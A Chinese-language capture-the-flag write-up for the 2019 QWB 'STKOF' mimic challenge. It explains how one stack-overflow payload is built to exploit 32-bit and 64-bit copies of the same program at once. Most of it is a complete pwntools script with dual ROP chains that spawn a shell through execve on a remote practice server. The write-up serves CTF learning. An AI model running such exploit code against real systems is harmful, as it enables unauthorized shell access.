強網杯2019 擬態 STKOF

強網杯2019 擬態 STKOF

給了我們兩個二進制,分別爲32位和64位,兩個程序功能完全相同,有一個裁決程序,fork出這兩個程序,並監聽着它們的輸出,如果兩者輸出不一樣或者一方崩潰,則裁決程序就會kill掉它們兩個。

首先,我們檢查一下程序的保護機制

然後,我們用IDA分析一下,32位

64位

可知32位溢出的距離爲0x110,64位溢出的距離爲0x118由於程序沒有開啓PIE,並且glibc靜態編譯到了程序裏。我們所需的gadgets不用愁,也不需要泄露。我們可以在32位裏調用add esp,XXX。將棧遷移到64位rop的後面,進而能夠與64位rop相隔,構造出一個適用於兩者的payload。

佈局如下。

位置

內容

0x110

add esp,XXX;ret 32位棧遷移到後面

0x118

64位rop

……..

 

0x1XX

32位rop

#coding:utf8
from pwn import *

'''sh32 = process('./pwn1')
sh64 = process('./pwn2')'''
sh = remote('node3.buuoj.cn',29103)
elf32 = ELF('./pwn1')
elf64 = ELF('./pwn2')
#64位gadgets
pop_rax = 0x000000000043b97c
pop_rdi = 0x00000000004005f6
pop_rsi = 0x0000000000405895
pop_rdx = 0x000000000043b9d5
syscall = 0x00000000004011dc
read64 = elf64.sym['read']
bss64 = 0x00000000006A32E0
#32位gadgets
pop_eax = 0x080a8af6
#pop edx ; pop ecx ; pop ebx ; ret
pop_edx_ecx_ebx = 0x0806e9f1
int80 = 0x080495a3
read32 = elf32.sym['read']
bss32 = 0x080DA320
#add esp, 0x7c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
add_esp_8C = 0x0804933f
#payload32 = 'a'*0x110 + p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
#payload64 = 'a'*0x118 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_edx) + p64(0x10) + p64(read64)

payload = 'a'*0x110
#32位rop開始,調整esp,使得棧遷移到64位rop的後面
payload += p32(add_esp_8C) + p32(0) #0截斷puts的輸出
#64位rop
#read(0,bss64,0x10)輸入/bin/sh字符串
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss64) + p64(pop_rdx) + p64(0x10) + p64(read64)
#execve(bss64,0,0)
payload += p64(pop_rdi) + p64(bss64) + p64(pop_rax) + p64(59) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
payload = payload.ljust(0x1A0,'\x00')
#32位rop
#read(0,bss32,0x10)
payload += p32(read32) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss32) + p32(0x10)
#execve(bss32,0,0)
payload += p32(pop_eax) + p32(0xB) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss32) + p32(int80)
#raw_input()
sh.sendafter('try to pwn it?',payload)
sleep(0.5)
sh.send('/bin/sh\x00')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章